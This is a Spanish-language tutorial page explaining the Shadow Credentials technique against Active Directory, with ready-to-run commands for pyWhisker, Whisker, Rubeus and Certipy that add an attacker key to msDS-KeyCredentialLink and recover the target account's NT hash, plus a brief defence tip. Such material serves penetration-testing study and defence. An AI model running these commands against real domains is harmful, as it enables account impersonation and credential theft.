Credenciales

Shadow Credentials

Cómo un permiso de escritura sobre un atributo de Active Directory permite iniciar sesión como otra cuenta sin tocar su contraseña.

Qué es

Shadow Credentials abusa del permiso de escritura sobre el atributo msDS-KeyCredentialLink de una cuenta. El atacante registra su propia clave y se autentica como esa cuenta por Kerberos PKINIT. Nunca necesita ni cambia la contraseña real.

Cómo funciona

Windows deja que una cuenta guarde una clave pública en el atributo msDS-KeyCredentialLink. Cuando la cuenta se autentica, usa PKINIT: presenta un certificado derivado de esa clave en vez de la contraseña. El KDC valida el certificado contra la clave guardada y emite un TGT. No comprueba quién registró la clave. Un atacante con permiso de escritura sobre el atributo añade su propia clave junto a la legítima. El KDC no distingue una clave de la otra. El atacante usa su clave privada para pedir un TGT como la cuenta objetivo. La contraseña real sigue funcionando y ningún evento de reinicio se dispara. Rotar la contraseña no invalida la clave: sigue válida hasta que alguien la borra del atributo.

Diagrama

Comandos

Recolectar el dominio y buscar aristas GenericWrite o GenericAll hacia el objetivo:

bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -c All -ns <IP>

Añadir la shadow credential desde Linux con pyWhisker. Genera el par de claves y devuelve un certificado PFX con su contraseña:

pywhisker -d <DOMAIN> -u <USER> -p <PASSWORD> --target <TARGET> --action add --dc-ip <IP>

Añadir la shadow credential desde Windows con Whisker:

Whisker.exe add /target:<TARGET> /domain:<DOMAIN> /dc:<HOST>

Autenticarse por PKINIT con Rubeus y recuperar el hash NT de la cuenta:

Rubeus.exe asktgt /user:<TARGET> /certificate:<FILE> /password:<PASSWORD> /domain:<DOMAIN> /dc:<HOST> /getcredentials /nowrap

Ejecutar toda la cadena en un paso con Certipy. Añade la clave, se autentica y recupera el hash:

certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <TARGET> -dc-ip <IP>

Cómo defenderse

Quita el permiso de escritura sobre msDS-KeyCredentialLink de las cuentas que no lo necesitan: sin ese permiso nadie registra una clave ajena.

Siguiente

Puedes seguir leyendo aquí:

CredencialesRelay de NTLM a la inscripción web de AD CS

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.